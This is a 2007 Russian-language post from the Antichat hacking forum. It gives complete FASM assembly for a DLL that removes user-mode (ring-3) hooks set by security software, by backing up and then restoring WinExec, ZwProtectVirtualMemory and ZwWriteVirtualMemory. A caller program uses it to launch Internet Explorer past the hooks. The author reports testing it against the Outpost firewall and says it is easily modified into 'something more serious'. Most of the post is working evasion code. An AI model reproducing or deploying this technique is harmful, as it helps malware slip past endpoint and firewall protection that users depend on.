ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Dll для снятия хуков третьего кольца
  #1  
Старый 15.04.2007, 11:06
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию Dll для снятия хуков третьего кольца

Очень простой пример снятия хуков третьего кольца, с использованием DLL

Язык: Ассемблере(fasm).
Пояснение: Этот пример работает потому, что установщики хуков, обычно устанавливают их непосредственно перед точкой входа в программу, но загрузка и инициализация библиотек DLL, происходить ещё до запуска основной нити(ака Thread) процесса, так что мы разрешаем запись в эти функции, копируем их содержимое и разрешаем каму-попало устанавливать различные хуки, а когда они закончат, просто возьмём и восстановим всё как было.
Код DLL:
Код:
format PE GUI 4.0 DLL
entry DllEntryPoint

include 'win32a.inc'

section '.code' code readable executable

proc DllEntryPoint uses edi, hinstDLL,fdwReason,lpvReserved
        mov     edi, buffer

        stdcall BackUpProc, WinExec
        stdcall BackUpProc, ZwProtectVirtualMemory
        stdcall BackUpProc, ZwWriteVirtualMemory

        mov     eax, TRUE
        ret
endp

proc BackUpProc uses esi ecx ebx, Original
        mov     ebx, [Original]
        push    edi
        mov     edi, [ebx]

        mov     al, 0x90                ; Getting proc size by first nop
        xor     ecx, ecx
        mov     cl, -1
        repne   scasb
        jne     .Error
        not     cl

        add     ecx, 3
        shr     ecx, 2

        pop     edi

        mov     esi, [ebx]
        mov     [ebx], edi

        mov     eax, ecx
        stosd
        mov     eax, esi
        stosd

        lea     ebx, [ecx*4]
        rep     movsd

        invoke  VirtualProtect, eax, ebx, PAGE_EXECUTE_READWRITE, tmp
  .Error:
        ret
endp

proc RestoreAll
        stdcall RestoreProc, ZwProtectVirtualMemory
        stdcall RestoreProc, ZwWriteVirtualMemory
        stdcall RestoreProc, WinExec
        ret
endp

proc RestoreProc uses esi, Backup
        mov     esi, [Backup]
        mov     esi, [esi]
        mov     ecx, [esi]
        mov     edi, [esi+4]
        add     esi, 8
        rep     movsd
        ret
endp

section '.idata' import data readable writeable

  library ntdll,'NTDLL.DLL',\
          kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import ntdll,\
         ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\
         ZwWriteVirtualMemory,'ZwWriteVirtualMemory'

  import kernel,\
         WinExec,'WinExec',\
         VirtualProtect,'VirtualProtect'

section '.edata' export data readable

  export 'UNHOOK.DLL',\
         RestoreAll,'RestoreAll'

section '.resto' data readable writable

  buffer        rd 1024 ; 1 page
  tmp           dd ?

section '.reloc' fixups data discardable
Код примера вызова:
Код:
format PE GUI 4.0
entry start

include 'win32a.inc'

section '.code' code readable executable

  start:
        invoke  MessageBoxA, 0, msg, tit, MB_YESNO

        cmp     eax, IDYES
        jne     .dont_restore
        call    [RestoreAll]
  .dont_restore:

        invoke  WinExec, cmd, SW_SHOW
        invoke  ExitProcess, 0

  cmd           db 'C:\Program Files\Internet Explorer\IEXPLORE.EXE http://antichat.ru', 0
  msg           db 'Do you realy wonna take all the hooks off?', 0
  tit           db 'Do take it off?', 0

section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL',\
          unhook,'UNHOOK.DLL'

  import kernel,\
         ExitProcess,'ExitProcess',\
         WinExec,'WinExec'

  import user,\
         MessageBoxA,'MessageBoxA'

  import unhook,\
         RestoreAll,'RestoreAll'

  xxx   dd ?
  yyy   dd ?
Данный пример снимает достаточно хуков для вызова эксплорера с адресом к командной строке, проверено на OutPost, его легко модифицировать и во что-нибудь более серьёзное, удачи...

Последний раз редактировалось hidden; 15.04.2007 в 11:13..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
большой обзор программ для шифрования и защиты данных BlackCats Soft - Windows 15 25.11.2007 23:28
10 вещей, которые вам нужно знать про Vista Firewall ground_zero Мировые новости 2 11.02.2007 19:02
Программы для работы с железом. Часть I – настройка видеокарт _GaLs_ Аппаратное обеспечение 2 20.12.2006 01:18
Лента новостей… Allen Мировые новости 10 27.11.2006 01:08
Microsoft может отказаться от выпуска третьего сервис-пака для Windows ХР ground_zero Мировые новости 3 28.10.2006 17:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ